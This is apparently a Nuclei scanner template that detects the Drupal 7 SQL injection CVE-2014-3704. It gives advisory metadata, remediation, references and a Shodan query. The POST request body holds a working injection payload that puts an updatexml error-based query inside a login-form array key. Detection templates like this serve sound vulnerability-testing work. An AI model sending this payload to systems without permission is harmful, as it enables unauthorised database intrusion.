id: CVE-2014-3704

info:
  name: Drupal SQL Injection
  author: princechaddha
  severity: high
  description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.
  remediation: Upgrade to Drupal core 7.32 or later.
  reference:
    - https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3704
    - https://www.drupal.org/SA-CORE-2014-005
    - https://www.exploit-db.com/exploits/34984
    - https://www.exploit-db.com/exploits/34992
    - https://www.exploit-db.com/exploits/34993
    - https://www.exploit-db.com/exploits/35150
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-3704
    cwe-id: CWE-89
    epss-score: 0.97531
    epss-percentile: 0.99989
    cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: drupal
    product: drupal
    shodan-query: http.component:"drupal"
  tags: edb,cve,cve2014,drupal,sqli
variables:
  num: "999999999"

http:
  - method: POST
    path:
      - "{{BaseURL}}/?q=node&destination=node"

    body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5({{num}})),1)%23]=bob&name[0]=a'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PDOException"
          - '{{md5({{num}})}}'
        condition: and

      - type: status
        status:
          - 500

# digest: 4a0a0047304502201b255a42d66a6463b3dca1db752469422c12f74d68d6366b3be5971629eb18a3022100bda59890059146f39cb4aa6fd78302babc74751823572c908855dd9a009da4a2:922c64590222798bb761d5b6d8e72950